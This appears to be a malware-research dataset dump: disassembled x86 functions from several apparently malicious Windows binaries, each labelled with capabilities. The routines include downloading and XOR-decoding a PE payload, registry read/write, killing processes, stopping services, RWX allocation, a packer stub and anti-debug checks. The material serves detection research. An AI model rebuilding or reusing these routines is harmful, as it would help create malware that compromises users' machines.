joyce8/EMBER2024-capa huggingface dataset:
Function at 0x20002c13
Capabilities:
Create http request
Encode data using xor
Parse pe header
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1118
call fcn.20006ac0
push ebx
push esi
push edi
xor ebx, ebx
and byte [ebp - 0x1118], bl
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x1117]
rep stosd dword es:[edi], eax
and byte [ebp - 0x118], bl
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x117]
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 4
push 0x20001568
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, dword [ebp + 0xc]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x20002d87
xor ecx, ecx
push ecx
push 0x4000000
push ecx
push ecx
push dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
mov dword [ebp + 0xc], edi
je 0x20002d79
lea eax, [ebp - 0x14]
push ebx
push eax
lea eax, [ebp - 0x10]
push eax
push 0x20000013
push edi
mov dword [ebp - 0x14], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x20002d64
cmp dword [ebp - 0x10], 0xc8
jne 0x20002d64
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1118]
push 0x1000
push eax
push edi
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
call edi
test eax, eax
je 0x20002d5f
cmp dword [ebp - 0xc], 0
jne 0x20002d26
lea eax, [ebp - 0x118]
mov dword [ebp - 0xc], 1
push eax
call fcn.200040b1
test eax, eax
je 0x20002d1a
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x10e8]
push eax
call fcn.20003e36
test eax, eax
jne 0x20002d5f
lea eax, [ebp - 0x10e8]
push eax
call fcn.2000404c
cmp ebx, dword [ebp + 0x10]
ja 0x20002d5f
cmp dword [ebp - 8], 0
je 0x20002d76
push dword [ebp - 8]
lea eax, [ebp - 0x1118]
push eax
lea eax, [ebx + esi]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add ebx, dword [ebp - 8]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1118]
push 0x1000
push eax
push dword [ebp + 0xc]
jmp 0x20002ce0
push dword [ebp + 0xc]
jmp 0x20002d65
push edi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 4]
call esi
xor eax, eax
jmp 0x20002dbd
mov edi, dword [ebp + 0xc]
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push dword [ebp - 4]
call edi
movzx eax, word [esi]
mov ecx, dword [esi + 0x3c]
mov dword [esi + 0x3c], eax
add eax, esi
mov edx, 0x400
xor dword [eax], ecx
add eax, 4
dec edx
jne 0x20002d97
mov eax, dword [esi + 0x3c]
mov byte [esi], 0x4d
mov byte [esi + 1], 0x5a
push 1
mov byte [eax + esi], 0x50
mov eax, dword [esi + 0x3c]
mov byte [eax + esi + 1], 0x45
mov eax, dword [ebp + 0x14]
mov dword [eax], ebx
pop eax
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x20002dc4
Capabilities:
Create http request
Encode data using xor
Parse pe header
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1118
call fcn.20006ac0
push ebx
push esi
push edi
xor ebx, ebx
and byte [ebp - 0x1118], bl
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x1117]
rep stosd dword es:[edi], eax
and byte [ebp - 0x118], bl
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x117]
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 4
push 0x20001568
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, dword [ebp + 0xc]
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x20002f38
xor ecx, ecx
push ecx
push 0x4000000
push ecx
push ecx
push dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
mov dword [ebp + 0xc], edi
je 0x20002f2a
lea eax, [ebp - 0x14]
push ebx
push eax
lea eax, [ebp - 0x10]
push eax
push 0x20000013
push edi
mov dword [ebp - 0x14], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x20002f15
cmp dword [ebp - 0x10], 0xc8
jne 0x20002f15
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1118]
push 0x1000
push eax
push edi
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
call edi
test eax, eax
je 0x20002f10
cmp dword [ebp - 0xc], 0
jne 0x20002ed7
lea eax, [ebp - 0x118]
mov dword [ebp - 0xc], 1
push eax
call fcn.20004178
test eax, eax
je 0x20002ecb
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x10e8]
push eax
call fcn.20003e36
test eax, eax
jne 0x20002f10
lea eax, [ebp - 0x10e8]
push eax
call fcn.20004113
cmp ebx, dword [ebp + 0x10]
ja 0x20002f10
cmp dword [ebp - 8], 0
je 0x20002f27
push dword [ebp - 8]
lea eax, [ebp - 0x1118]
push eax
lea eax, [ebx + esi]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add ebx, dword [ebp - 8]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1118]
push 0x1000
push eax
push dword [ebp + 0xc]
jmp 0x20002e91
push dword [ebp + 0xc]
jmp 0x20002f16
push edi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 4]
call esi
xor eax, eax
jmp 0x20002f6e
mov edi, dword [ebp + 0xc]
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push dword [ebp - 4]
call edi
movzx eax, word [esi]
mov ecx, dword [esi + 0x3c]
mov dword [esi + 0x3c], eax
add eax, esi
mov edx, 0x400
xor dword [eax], ecx
add eax, 4
dec edx
jne 0x20002f48
mov eax, dword [esi + 0x3c]
mov byte [esi], 0x4d
mov byte [esi + 1], 0x5a
push 1
mov byte [eax + esi], 0x50
mov eax, dword [esi + 0x3c]
mov byte [eax + esi + 1], 0x45
mov eax, dword [ebp + 0x14]
mov dword [eax], ebx
pop eax
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x20002fae
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
cmp word [eax], 0x5a4d
jne 0x20003072
mov ecx, dword [eax + 0x3c]
cmp dword [ecx + eax], 0x4550
lea esi, [ecx + eax]
jne 0x20003072
call fcn.20002f75
mov eax, dword [0x20001564]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x20001564], eax
sar eax, 0x10
and eax, 0x7fff
shl eax, 0x10
mov dword [ebp + 8], eax
mov eax, dword [0x20001564]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x20001564], eax
sar eax, 0x10
and eax, 0x7fff
add dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esi + 8], eax
call fcn.20002f75
mov eax, dword [0x20001564]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x20001564], eax
sar eax, 0x10
and eax, 0x7fff
shl eax, 0x10
mov dword [ebp + 8], eax
mov eax, dword [0x20001564]
imul eax, eax, 0x343fd
add eax, 0x269ec3
mov dword [0x20001564], eax
sar eax, 0x10
and eax, 0x7fff
add dword [ebp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esi + 0xf4], eax
pop esi
pop ebp
ret 4

Function at 0x200031ed
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 8]
call fcn.20004373
lea eax, [ebp - 0x208]
mov dword [0x20007080], 0x124f80
push eax
push 0x20007084
call fcn.20003eff
lea eax, [ebp + 8]
push eax
xor eax, eax
push eax
push 0x20007080
push 0x20003077
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
leave
ret 8

Function at 0x200033de
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 8]
call fcn.20004373
lea eax, [ebp - 0x208]
mov dword [0x20007188], 0xdbba0
push eax
push 0x2000718c
call fcn.20003eff
lea eax, [ebp + 8]
push eax
xor eax, eax
push eax
push 0x20007188
push 0x20003250
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
leave
ret 8

Function at 0x20003505
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
and byte [ebp - 0x208], 0
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
and byte [ebp - 0x104], 0
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x104]
push 0x200023bc
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x104]
pop ecx
push 0x200023b0
push eax
lea eax, [ebp - 0x208]
push 0x200023a8
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
pop edi
jne 0x200035a2
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
leave
ret 4
Function at 0x200038f9
Capabilities:
Enumerate gui resources
Terminate process

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
call fcn.20003fd5
mov edi, dword [sym.imp.KERNEL32.dll_OpenEventA]
mov ebp, dword [sym.imp.KERNEL32.dll_OpenProcess]
xor esi, esi
mov ebx, 0x1f0003
push 0x20002514
push esi
push ebx
call edi
cmp eax, esi
jne 0x2000393f
push 0x200024ec
push esi
push ebx
call edi
cmp eax, esi
jne 0x2000393f
push 0x200024c4
push esi
push ebx
call edi
cmp eax, esi
je 0x20003956
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.200037bc
push 0x200024b8
call fcn.20003f58
cmp eax, esi
je 0x20003976
push eax
push esi
push 1
call ebp
cmp eax, esi
je 0x20003976
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x200024ac
call fcn.20003f58
test eax, eax
je 0x200039ac
push esi
push 0x20003804
call dword [sym.imp.USER32.dll_EnumWindows]
push 0x200024a0
call fcn.20003f58
push eax
push esi
push 1
call ebp
cmp eax, esi
je 0x200039ac
push esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call dword [sym.imp.USER32.dll_GetInputState]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push esi
push esi
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.USER32.dll_GetInputState]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push esi
push esi
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
jmp 0x20003918

Function at 0x20003df8
Capabilities:
Allocate or change rwx memory

Disassembly:
push 0x40
push 0x1000
push dword [esp + 0xc]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
ret 4

Function at 0x20003f58
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
and dword [ebp - 0x128], 0
push esi
push edi
push 0x49
pop ecx
xor eax, eax
lea edi, [ebp - 0x124]
rep stosd dword es:[edi], eax
xor edi, edi
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [ebp - 0x128]
push eax
push esi
mov dword [ebp - 0x128], 0x128
call sub.KERNEL32.dll_Process32First
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call fcn.20003e36
test eax, eax
jne 0x20003fc0
lea eax, [ebp - 0x128]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x20003fc6
jmp 0x20003f9a
mov edi, dword [ebp - 0x120]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
leave
ret 4
Function at 0x2000404c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push ebx
push 0x20006
push ebx
push ebx
push ebx
push 0x20002648
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x200040ac
mov ecx, dword [ebp + 8]
cmp byte [ecx], bl
je 0x20004086
inc eax
cmp byte [eax + ecx], bl
jne 0x20004080
inc eax
push eax
push ecx
push 1
push ebx
push 0x20002640
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
leave
ret 4

Function at 0x200040b1
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push 0x20002648
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x200040da
xor eax, eax
jmp 0x2000410f
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x104
push eax
lea eax, [ebp - 0xc]
push dword [ebp + 8]
mov dword [ebp - 0xc], 1
push eax
push 0
push 0x20002640
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
pop eax
leave
ret 4

Function at 0x20004113
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push ebx
push 0x20006
push ebx
push ebx
push ebx
push 0x20002658
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x20004173
mov ecx, dword [ebp + 8]
cmp byte [ecx], bl
je 0x2000414d
inc eax
cmp byte [eax + ecx], bl
jne 0x20004147
inc eax
push eax
push ecx
push 1
push ebx
push 0x20002640
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
leave
ret 4

Function at 0x20004178
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push 0x20002658
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x200041a1
xor eax, eax
jmp 0x200041d6
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x104
push eax
lea eax, [ebp - 0xc]
push dword [ebp + 8]
mov dword [ebp - 0xc], 1
push eax
push 0
push 0x20002640
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
pop eax
leave
ret 4

Function at 0x20004239
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push 0xf01ff
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x20004271
lea eax, [ebp - 0x1c]
push edi
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
leave
ret 8
Function at 0x405b50
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
movsx eax, byte [esi]
test eax, eax
jne 0x405b84
push 0x104
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea esi, [ebp - 0x10c]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0
push esi
call fcn.00405960
add esp, 0x14
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
lea eax, [edx + eax*4]
push eax
call fcn.004060a0
pop ecx
mov ebx, eax
test eax, eax
jne 0x405bb7
push 1
call fcn.00405640
pop ecx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 4]
lea eax, [ebx + eax*4]
push eax
push ebx
push esi
call fcn.00405960
add esp, 0x14
mov eax, dword [ebp - 4]
dec eax
mov dword [0x44d43c], eax
mov dword [0x44d438], ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x405bf0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
mov ebx, dword [ebp - 8]
jmp 0x405c28
or eax, 0xffffffff
inc eax
cmp byte [ebx + eax], 0
jne 0x405c11
inc eax
mov esi, eax
movsx eax, byte [ebx]
cmp eax, 0x3d
je 0x405c26
add dword [ebp - 4], esi
add ebx, esi
cmp byte [ebx], 0
jne 0x405c0e
mov eax, dword [ebp - 4]
inc eax
push eax
call fcn.004060a0
pop ecx
mov edi, eax
mov dword [0x44d544], eax
test eax, eax
jne 0x405c4b
push 1
call fcn.00405640
pop ecx
mov ebx, dword [ebp - 8]
jmp 0x405c72
or eax, 0xffffffff
inc eax
cmp byte [ebx + eax], 0
jne 0x405c53
inc eax
mov esi, eax
movsx eax, byte [ebx]
cmp eax, 0x3d
je 0x405c70
push ebx
push edi
call fcn.00406920
pop ecx
pop ecx
add edi, esi
add ebx, esi
movsx eax, byte [ebx]
test eax, eax
jne 0x405c50
mov byte [edi], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405590
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4055ae
or eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov dword [esp + 0xc], eax
mov word [esp + 8], 2
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4055ef
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
nop
mov ecx, 0x183c2608
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
mov ecx, 0x509a0ebc
nop
nop
nop
nop
test eax, eax
nop
je 0x433084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
popal
nop
nop
nop
nop
jmp 0x431219

Function at 0x401000
Capabilities:
Terminate process

Disassembly:
push 0
push 5
push 0x40109c
push 0x401055
call dword [sym.imp.WINMM.DLL_mciSendStringA]
push 0x401097
push 0x40109c
call dword [sym.imp.KERNEL32.DLL_lstrcmpA]
cmp eax, 0
je 0x40103c
push 0
push 0
push 0
push 0x401069
call dword [sym.imp.WINMM.DLL_mciSendStringA]
jmp 0x40104d
push 0
push 0
push 0
push 0x40107f
call dword [sym.imp.WINMM.DLL_mciSendStringA]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x40a780
Capabilities:
Decompress data using quicklz

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x40a94e
sub esp, 0x38
mov eax, dword [esp + 0x3c]
cmp eax, 0x7000000
jle 0x40a7ab
mov eax, 0x7000000
jmp 0x40a7b3
test eax, eax
je 0x40a929
mov dword [esp + 0x14], eax
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x18]
mov edx, dword [ecx + 0x94]
mov ebx, dword [ecx + 0x98]
mov dword [ecx + 0x94], ebx
mov ebp, edx
shl edx, 0x11
xor edx, ebp
mov ebp, ebx
xor ebx, edx
shr edx, 7
xor edx, ebx
mov ebx, ebp
shr ebp, 0x10
xor ebp, edx
mov dword [ecx + 0x98], ebp
lea ecx, [ebp + ebx]
shr ecx, 6
inc ecx
mov dword [esp], ecx
call fcn.00457230
movsd xmm0, qword [esp + 4]
movsd qword [esp + 0x28], xmm0
mov eax, dword [esp + 0x2c]
mov ecx, eax
shr eax, 0x14
and eax, 0x7ff
mov edx, eax
add eax, 0xfffffc01
mov ebx, ecx
shr ecx, 0xf
and ecx, 0x1f
mov ebp, ecx
add ecx, 1
mov esi, 0
adc esi, 0
shl ebx, 5
mov edi, dword [esp + 0x28]
shr edi, 0x1b
or edi, ebx
lea ebx, [0x4c0500]
movsd xmm0, qword [ebx + ebp*8]
test esi, esi
jne 0x40a941
cmp ecx, 0x21
jae 0x40a935
movsd qword [esp + 0x18], xmm0
mov dword [esp + 0x10], edi
add edx, 0xfffffc01
mov edx, 0xffffffff
adc edx, 0
movsd xmm0, qword [ebx + ecx*8]
movsd qword [esp + 0x20], xmm0
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.004534b0
movsd xmm0, qword [esp + 8]
movsd qword [esp + 0x30], xmm0
mov dword [esp + 4], 0
mov eax, dword [esp + 0x10]
and eax, 0xfffff
mov dword [esp], eax
call fcn.00453580
movsd xmm0, qword [esp + 0x30]
movsd xmm1, qword [esp + 0x18]
addsd xmm0, xmm1
movsd xmm2, qword [esp + 0x20]
subsd xmm2, xmm1
movsd xmm1, qword [esp + 8]
mulsd xmm1, xmm2
movsd xmm2, qword [0x47bad0]
mulsd xmm2, xmm1
addsd xmm0, xmm2
movsd xmm1, qword [0x47bb38]
subsd xmm0, xmm1
xorps xmm1, xmm1
ucomisd xmm0, xmm1
jbe 0x40a904
xorps xmm0, xmm0
mov eax, dword [esp + 0x14]
cvtsi2sd xmm1, eax
movsd xmm2, qword [0x47bb88]
mulsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
inc eax
mov dword [esp + 0x40], eax
add esp, 0x38
ret
mov dword [esp + 0x40], 0
add esp, 0x38
ret
mov eax, ecx
mov ecx, 0x21
call fcn.00457310
mov eax, ecx
mov ecx, 0x21
call fcn.004573a0
nop
call fcn.00455ea0
jmp fcn.0040a780
Function at 0x410990
Capabilities:
Check for software breakpoints

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x410bb4
sub esp, 0x18
mov eax, dword [0x4e6a3c]
test eax, eax
jne 0x410b9d
nop
lea eax, [0x4e6a28]
mov dword [esp], eax
call fcn.00408570
mov eax, dword [0x4e6a2c]
test eax, eax
je 0x4109d9
cmp dword [eax + 8], 0xcc
jne 0x410a4f
mov edx, dword [0x4e6a20]
test edx, edx
jne 0x410a31
mov dword [esp], 0x1000
mov dword [esp + 4], 0
lea eax, [0x4e9210]
mov dword [esp + 8], eax
call fcn.0040a960
mov eax, dword [esp + 0xc]
mov dword [0x4e6a20], eax
mov ecx, dword [0x4e69e4]
mov dword [eax], ecx
mov eax, dword [0x4e6a20]
mov dword [0x4e69e4], eax
movzx eax, byte [0x4e6e80]
test al, al
jne 0x410a31
xor eax, eax
jmp 0x410b49
mov edx, dword [0x4e6a20]
mov ebx, dword [edx + 4]
mov dword [0x4e6a20], ebx
mov ebx, dword [0x4e6a2c]
mov dword [edx + 4], ebx
mov dword [0x4e6a2c], edx
mov edx, dword [0x4e6a2c]
mov eax, dword [edx + 8]
cmp eax, 0xcc
jae 0x410b31
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], eax
lea eax, [edx + 8]
mov dword [esp], eax
mov dword [esp + 4], 1
call fcn.00402130
mov eax, dword [esp + 0x10]
lea eax, [eax + eax*4]
mov ecx, dword [esp + 0x14]
lea edi, [ecx + eax*4 + 0x10]
mov edx, dword [0x4e6b80]
lea ebx, [ecx + eax*4 + 0x1c]
lea ebp, [ecx + eax*4 + 0x20]
lea esi, [ecx + eax*4 + 0x14]
test edx, edx
jne 0x410aad
mov edx, dword [esp + 0x20]
mov dword [ecx + eax*4 + 0x10], edx
jmp 0x410aba
mov edx, eax
mov eax, dword [esp + 0x20]
call fcn.00457280
mov eax, edx
mov edx, dword [esp + 0x24]
mov dword [ecx + eax*4 + 0x18], edx
mov edx, dword [0x4e6b80]
test edx, edx
jne 0x410ae6
mov edx, dword [esp + 0x28]
mov dword [ecx + eax*4 + 0x1c], edx
mov edx, dword [esp + 0x2c]
mov dword [ecx + eax*4 + 0x20], edx
mov edx, dword [esp + 0x1c]
mov dword [ecx + eax*4 + 0x14], edx
jmp 0x410b07
mov edi, ebx
mov eax, dword [esp + 0x28]
call fcn.00457280
mov edi, ebp
mov eax, dword [esp + 0x2c]
call fcn.00457280
mov edi, esi
mov eax, dword [esp + 0x1c]
call fcn.00457280
nop
lea eax, [0x4e6a28]
mov dword [esp], eax
call fcn.00408770
nop
lea eax, [0x4e6a24]
mov dword [esp], eax
mov dword [esp + 4], 8
call fcn.00402290
add esp, 0x18
ret
mov ecx, 0xcc
call fcn.00457310
lea esi, [0x4e6e80]
xchg ebp, eax
mov byte [esi + ebx], al
xchg ebp, eax
lea eax, [ebx + 1]
cmp eax, 0x80
jge 0x410a31
mov ecx, eax
mov eax, 0xcccccccd
imul ecx
add edx, ecx
sar edx, 2
mov eax, ecx
sar ecx, 0x1f
sub edx, ecx
lea edx, [edx + edx*4]
mov ebx, eax
sub eax, edx
cmp eax, 5
jae 0x410b93
lea edx, [0x4c01d8]
movzx ebp, byte [edx + eax]
cmp ebx, 0x80
jb 0x410b3b
mov eax, ebx
mov ecx, pe_nt_image_headers32
call fcn.00457300
mov ecx, 5
call fcn.00457300
lea eax, [0x468e2e]
mov dword [esp], eax
mov dword [esp + 4], 0x18
call fcn.00430490
nop
call fcn.00455ea0
jmp fcn.00410990